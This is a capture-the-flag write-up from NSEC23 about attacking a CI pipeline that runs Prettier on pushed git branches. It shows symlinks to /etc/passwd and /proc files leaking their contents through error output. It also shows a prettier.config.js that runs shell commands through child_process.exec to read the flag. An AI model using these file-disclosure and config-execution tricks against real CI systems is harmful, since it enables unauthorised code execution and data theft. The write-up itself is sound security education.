NSEC23 Code Pipeline 1 - prettier - Tue, May 30, 2023 - Jean Privat Hellnia
In a Rabbit Hole | CI | Nsec23
This was a great challenge, with a lot of humility.
We get a git repository and a password (git
)
git clone "git@prettier.gif.ctf:repo" prettier
When we clone, we get 3 files
$ git ls-files
.ci/run
.prettierrc.toml
main.js
and an empty history
$ git log
commit 60dfe0e621dce6d5f4e0560b93a7d8c19a5788a2 (HEAD -> main, origin/main, origin/HEAD)
Author: bot <bot@git.ctf>
Date: Sat Mar 25 14:17:41 2023 +0000
init
We have the right to push, but there is some server side control (pre-receive hook) that enforces a few rules
- We cannot push into the
main
branch, but we can create branches. - We cannot alter the
run
or the.prettierrc.toml
files.
See for yourself:
$ echo '#nothing' >> .prettierrc.toml
$ git commit -am 'nothing'
[main f4f4fc0] nothing
1 file changed, 1 insertion(+)
$ git push origin main
git@prettier.git.ctf's password:
Énumération des objets: 5, fait.
Décompte des objets: 100% (5/5), fait.
Compression par delta en utilisant jusqu'à 8 fils d'exécution
Compression des objets: 100% (3/3), fait.
Écriture des objets: 100% (3/3), 339 octets | 339.00 Kio/s, fait.
Total 3 (delta 1), réutilisés 0 (delta 0), réutilisés du pack 0
remote: Error: the main branch is protected and cannot be directly pushed. Please create a branch.
To prettier.git.ctf:repo
! [remote rejected] main -> main (pre-receive hook declined)
erreur : impossible de pousser des références vers 'prettier.git.ctf:repo'
$ git push origin main:m
git@prettier.git.ctf's password:
Énumération des objets: 5, fait.
Décompte des objets: 100% (5/5), fait.
Compression par delta en utilisant jusqu'à 8 fils d'exécution
Compression des objets: 100% (3/3), fait.
Écriture des objets: 100% (3/3), 339 octets | 339.00 Kio/s, fait.
Total 3 (delta 1), réutilisés 0 (delta 0), réutilisés du pack 0
remote: Updating `.prettierrc.toml` is not allowed
To prettier.git.ctf:repo
! [remote rejected] main -> m (pre-receive hook declined)
erreur : impossible de pousser des références vers 'prettier.git.ctf:repo'
Investigation
Here are the 3 short files.
$ head .ci/run .prettierrc.toml main.js
==> .ci/run <==
#!/usr/bin/env bash
set -ex
echo "linting changes with Prettier..."
prettier --check .
==> .prettierrc.toml <==
trailingComma = "es5"
tabWidth = 4
semi = false
singleQuote = true
==> main.js <==
var main = async function main() { console.log('hello world!'); }
main(); // fix me
What can we infer or assume at this point?
-
.ci/run
seems to be run by the server in a pre-receive hook or something. Its job seems to validate the formatting of the source code. We don’t know exactly how the server runs it, but it’s not important.We cannot modify it. Otherwise, it’s an easy RCE. Or maybe we could try to bypass the check? sha1 collision seems hard :(
-
main.js
is modifiable, and should be modified because in its current state it cannot be committed because of its bad formatting. -
prettier
is obviously a made up tool for the CTF competition. No tool with such a basic and ungoogleable name can exist. The challenge does not provide a source (nor a binary), so we might have to infer what it does and how it does it. This could be fun. -
.prettierrc.toml
is the made up configuration of the tool. I’m not sure why it is provided since we cannot modify it, and it seems basically useless as the made-up policy could have been hard-coded in the made-up tool. Maybe to make the challenge more realistic? It’s weird as the challenge seems otherwise quite minimal, so maybe it will be useful for later.
Throwing Random Things
So, we have an unknown tool and we have to guess what it can do. This might be some kind of operating system challenge where we play with the file system to exploit some vulnerabilities in tools that read files and forget to check corner cases. Git stores and communicates files, this is so obvious.
The methodology is the following:
- add and commit some weird files;
- push to the repository;
- analyze the tool reaction;
- repeat.
What can we try?
1st Experiment
Push a directory named main.js
instead of a regular source file.
Result: nothing special, not even an error.
2nd Experiment
Push a symbolic link named link.js
to /etc/password
Result:
remote: Checking formatting...
remote: [error] link.js: SyntaxError: Unexpected token (1:9)
remote: [error] > 1 | root:x:0:0:root:/root:/bin/bash
remote: [error] | ^
remote: [error] 2 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
remote: [error] 3 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
remote: [error] 4 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
Nice, we got something on the second try. Not a flag, but something.
Symbolic Flag
What can we symlink at?
/flag
→ nothing/etc/issue
→SyntaxError: Missing semicolon. Ubuntu 22.04.2 LTS
not useful/home
→EACCES: permission denied, scandir '/tmp/tmpe9dhnj7b/link.js/ubuntu
Now we know that the repository is extracted into a temporary directory. It’s not useful, and a little obvious, but we now know it./proc/self/environ
→
not usefulSyntaxError: Unexpected character 'sp8f/./objects/incoming-FXBw2a 39342 9000:bbb:bbb:bb1:216:3eff:fee2:28e2 222l/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
/proc/self/cmdline
→Unexpected character '
and nothing else. The js parser does not seem to like null bytes./proc/self/maps
→00400000-043a2000 r-xp 00000000 00:3c 40175 /usr/bin/node
, oh a nodejs applicationpackage.json
→ nothing…
I had no idea what to do at this point. I must be too dumb :(
Sharing is Caring
So I asked my teammate hellnia, and explained what I did and that I might be able to leak parts of some files but that I am running out of ideas. He looked at me, and I will always remember what he said to me: “prettier is a real tool”.
Oh.
It was not Pretty
So, https://prettier.io/ is a real tool. This changes a lot of things. Let’s read the doc. https://prettier.io/docs/en/configuration.html
Prettier uses cosmiconfig for configuration file support. This means you can configure Prettier via (in order of precedence):
- A “prettier” key in your package.json file.
- A .prettierrc file written in JSON or YAML.
- A .prettierrc.json, .prettierrc.yml, .prettierrc.yaml, or .prettierrc.json5 file.
- A .prettierrc.js, .prettierrc.cjs, prettier.config.js, or prettier.config.cjs file that exports an object using module.exports.
- A .prettierrc.toml file.
This means that the given .prettierrc.toml
has the lowest precedence. We can try to push config files with a higher one and try to inject some commands… Oh. we can even push .js
files as config files, this will make the job easier.
Executable configuration files are always a blessing.
Here is the prettier.config.js
console.log('hello')
require('child_process').exec('ls')
We can push it, and get
remote: + prettier --check .
remote: Checking formatting...
remote: hello
remote: [warn] prettier.config.js
remote: [warn] Code style issues found in the above file. Forgot to run Prettier?
It says hello
, but no ls
. Oh, exec
needs a callback.
console.log('hello')
require('child_process').exec('ls',
function(e,out,err){ console.log(out + err)})
gives
remote: + prettier --check .
remote: Checking formatting...
remote: hello
remote: prettier.config.js
remote:
remote: [warn] prettier.config.js
remote: [warn] Code style issues found in the above file. Forgot to run Prettier?
ls /
gives flag_here_06e18b8aafa4f0fd93f9d00d024b974e
, and cat /flag*
gives the flag FLAG-f95265a349902769fc2e1843af2ddca5
.
Moral
Communicate with your teammates, and document your finding in a shared space so they might warn you when you are dumb. Or at least google made-up filenames like prettierrc.toml
, it might give you something you did not expect.